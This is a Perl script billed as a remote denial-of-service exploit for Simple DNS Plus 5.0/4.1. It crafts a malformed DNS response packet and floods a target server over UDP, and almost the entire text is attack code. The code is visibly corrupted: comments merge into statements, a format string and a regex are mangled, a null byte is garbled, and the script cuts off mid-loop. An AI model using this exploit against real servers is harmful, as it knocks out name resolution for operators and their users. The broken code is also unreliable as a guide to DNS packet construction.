#!/usr/bin/perl
# Simple DNS Plus 5.0/4.1 < remote Denial of Service exploit
#
# usage: sdns-dos.pl
# Exploit written by Exodus.
# .iluse IO::Socket;if(@ARGV < 3){
print("sdns-dos.pl ");
}
$sock = IO::Socket::INET->new(PeerAddr => "$ARGV[0]:$ARGV[1]", Proto => 'UDP') || die("Cant connect DNS server"); $address = $ARGV[0];$trans = pack("H4","1337");
$flags = pack("B16","1000010110110000");
$question = pack("H4","0001");
$answerRR = pack("H4","0001");
$authorityRR = pack("H4","0000");
$additionlRR = pack("H4","0000");
$type = pack("H4","0001"); # A host name
$class = pack("H4","0001"); # IN@parts = split(/./,$address);
foreach $part (@parts)
{
$packedlen = pack("H2",sprintf("x",length($part)));
$address2 .= $packedlen.$part;
}
$query = $address2. "�00" . $type . $class;$aname = pack("H4","c00c");
$atype = pack("H4","0001");
$aclass = pack("H4","0001");
$ttl = pack("H8","0000008d");
$dlen = pack("H4","0004");
$addr = inet_aton("127.0.0.1");
$answer = $aname . $atype . $aclass . $ttl . $dlen . $addr;$payload = $trans . $flags . $question . $answerRR
. $authorityRR . $additionlRR . $query . $answer;print "sending $ARGV[2] packets… ";
for($i=0;$i
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